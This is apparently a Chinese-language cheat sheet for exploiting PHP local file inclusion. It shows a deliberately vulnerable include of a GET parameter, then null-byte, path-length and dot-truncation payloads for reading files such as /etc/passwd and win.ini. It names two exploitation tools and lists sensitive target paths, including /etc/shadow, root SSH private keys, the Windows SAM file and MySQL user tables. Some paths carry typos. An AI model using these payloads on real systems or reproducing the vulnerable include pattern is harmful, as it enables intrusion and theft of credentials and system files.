有限制的本地文件包含：

```
<?php
include($_GET['file'].".php");
?>
```

%00截断:

?file=C://Windows//win.ini%00 （window，magic_quotes_gpc=off，网络上盛传PHP小于5.3.4有效，未完全进行测试，亲测 PHP 5.2.17有效，PHP-5.3.29-nts无效）

?file==../../../../../../../../../etc/passwd%00 (需要 magic_quotes_gpc=off，PHP小于5.3.4有效)

路径长度截断：

?file=../../../../../../../../../etc/passwd/./././././.[...]/./././././.(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)

点号截断：

?file=../../../../../../../../../boot.ini/.....[...].....(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)

文件包含漏洞利用工具

LFISuite：https://github.com/D35m0nd142/LFISuite

LFI Scan & Exploit Tool：https://github.com/P0cL4bs/Kadimus/

window常见包含路径：

C:\boot.ini

C:\Windows\win.ini

C:\Windows\system.ini

Windows：

C:\boot.ini //查看系统版本 C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件 C:Windowsrepairsam //存储系统初次安装的密码 C:Program Filesmysqlmy.ini //Mysql配置 C:Program Filesmysqldatamysqluser.MYD //Mysql root C:Windowsphp.ini //php配置信息 C:Windowsmy.ini //Mysql配置信息C:Windowswin.ini //Windows系统的一个基本系统配置文件

Linux：

/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts //记录每个访问计算机用户的公钥 /etc/passwd /etc/shadow /etc/my.cnf //mysql配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径

/porc/self/cmdline //当前进程的cmdline参数